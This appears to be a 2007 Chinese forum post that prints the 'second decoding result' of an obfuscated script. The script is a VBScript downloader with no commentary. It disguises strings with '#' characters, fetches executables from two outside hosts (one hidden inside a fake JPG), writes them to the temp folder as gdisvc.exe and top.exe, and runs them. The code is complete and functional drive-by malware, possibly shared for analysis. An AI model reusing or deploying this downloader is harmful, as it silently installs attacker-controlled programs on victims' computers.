第二次解码结果：- on error resume next
- for i=1 to 2
- Set ObjXml = CreateObject("Microsoft.XMLHTTP")
- Set Shell = CreateObject("Wscript.Shell")
- set fs = createobject(replace("Scri#pting.FileSyst#emObject","#",""))
- if i=1 then
- fname="gdisvc.exe"
- url="h#t#t#p#:#/#/122.img.pp.sohu.com/images/2007/10/7/23/20/1161608b266.jpg"
- else
- fname="top.exe"
- url="http:"&"//o1.o1"&"wy.com/bmw/top.exe"
- end if
- set tmp = fs.GetSpecialFolder(2)
- fname= fs.BuildPath(tmp,fname)
- ObjXml.Open replace("G#E#T","#",""),replace(url,"#",""),0
- ObjXml.Send()
- Set aGet = CreateObject("ADODB.Stream")
- aGet.Type = 1
- aGet.Mode = 3
- aGet.Open()
- aStr=ObjXml.responseBody
- aGet.Write(aStr)
- if ascB(midB(aStr,1,1))=asc("M") and ascB(midB(aStr,2,1))=asc("Z") then
- aGet.SaveToFile fname,2
- wscript.sleep 5000
- Shell.Run (fname)
- else
- aGet.position=43
- bStr=aGet.read()
- if ascB(midB(bStr,1,1))=asc("M") and ascB(midB(bStr,2,1))=asc("Z") then
- Set bGet = CreateObject("ADODB.Stream")
- bGet.Type = 1
- bGet.Mode = 3
- bGet.Open()
- bGet.Write bStr
- bGet.SaveToFile fname,2
- bGet.close
- wscript.sleep 5000
- Shell.Run (fname)
- end if
- end if
- aGet.close
- next
| 
发表于 2007-11-7 17:27
|